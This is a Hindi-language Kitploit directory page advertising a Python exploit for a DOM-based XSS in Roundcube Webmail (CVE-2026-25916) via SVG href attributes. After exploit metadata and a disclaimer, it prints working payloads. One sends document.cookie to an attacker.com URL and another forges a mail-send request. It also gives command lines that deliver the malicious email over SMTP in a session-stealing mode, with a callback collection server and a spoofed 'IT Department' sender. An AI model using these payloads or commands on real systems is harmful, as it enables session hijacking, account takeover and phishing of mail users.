Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-25916-Roundcube-Webmail-DOM-based-XSS-Exploit-via-SVG-href-Attribute — पायथन एक्सप्लॉइट Roundcube वेबमेल DOM-आधारित XSS (CVE-2026-25916) के लिए, SVG href विशेषताओं के माध्यम से, जो तैयार किए गए ईमेल के जरिए सत्र अपहरण और डेटा निष्कासन को सक्षम बनाता है। | Kitploit
उपकरण/GitHubGitHub/mbanyamer/cve-2026-25916-roundcube-webmail-dom-based-xss-exploit-via-svg-href-attribute
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षाईमेल सुरक्षा
GitHubmbanyamer/cve-2026-25916-roundcube-webmail-dom-based-xss-exploit-via-svg-href-attribute

CVE-2026-25916-Roundcube-Webmail-DOM-based-XSS-Exploit-via-SVG-href-Attribute

पायथन एक्सप्लॉइट Roundcube वेबमेल DOM-आधारित XSS (CVE-2026-25916) के लिए, SVG href विशेषताओं के माध्यम से, जो तैयार किए गए ईमेल के जरिए सत्र अपहरण और डेटा निष्कासन को सक्षम बनाता है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
रिपॉजिटरी देखें
31107 महीने पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2026-25916: Roundcube Webmail DOM XSS एक्सप्लॉइट

📋 एक्सप्लॉइट जानकारी

एक्सप्लॉइट शीर्षक: Roundcube Webmail DOM XSS via SVG href (CVE-2026-25916)
लेखक: Mohammed Idrees Banyamer
संपर्क: GitHub @mbanyamer | Instagram @banyamer_security
देश: जॉर्डन
दिनांक: 9 फरवरी, 2026
CVE: CVE-2026-25916
प्रकार: DOM-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS)
प्लेटफ़ॉर्म: वेब एप्लिकेशन
परीक्षण किया गया: Roundcube 1.6.8, Ubuntu 22.04
CVSS स्कोर: 6.1 (मध्यम)

🚨 कानूनी अस्वीकरण

⚠️ चेतावनी: यह एक्सप्लॉइट केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है।
केवल उन्हीं सिस्टम पर उपयोग करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
लेखक किसी भी दुरुपयोग या अवैध गतिविधियों के लिए ज़िम्मेदार नहीं है।

📖 भेद्यता विवरण

Roundcube Webmail के 1.6.9 से पहले के संस्करणों में SVG हैंडलिंग में DOM-आधारित XSS भेद्यता मौजूद है। एप्लिकेशन SVG तत्वों में href और विशेषताओं को ठीक से सैनिटाइज़ करने में विफल रहता है, जिससे विशेष रूप से तैयार किए गए ईमेल के माध्यम से JavaScript निष्पादन संभव हो जाता है।

xlink:href

प्रभावित संस्करण: Roundcube Webmail < 1.6.9
समाधान: संस्करण 1.6.9 (कमिट 26d7677)
CWE: CWE-79 - वेब पेज जनरेशन के दौरान इनपुट का अनुचित न्यूट्रलाइज़ेशन
हमला वेक्टर: ईमेल के माध्यम से रिमोट
प्रभाव: सत्र अपहरण, खाता अधिग्रहण, डेटा बहिष्करण

🔧 तकनीकी विवरण

यह भेद्यता rcube_washtml.php में मौजूद है जहाँ SVG तत्वों में href विशेषताओं को ठीक से मान्य नहीं किया गया था:

root@kitploit:~
<!-- संवेदनशील SVG तत्व -->
<use href="javascript:alert(document.cookie)">
<image xlink:href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">
<a xlink:href="javascript:fetch('/?_task=mail&_action=send',{method:'POST',body:'[email protected]'})">

```bash
python3 cve-2026-25916.py -s smtp.gmail.com -p 587 -u [email protected] -w your_password -r [email protected]
root@kitploit:~
python3 cve-2026-25916.py \
  -s smtp.gmail.com \
  -p 587 \
  -u [email protected] \
  -w app_password \
  -r [email protected] \
  -t session_steal \
  --callback https://yourserver.com/collect \
  --subject "Security Alert" \
  --from-name "IT Department"
टूल डाउनलोड करें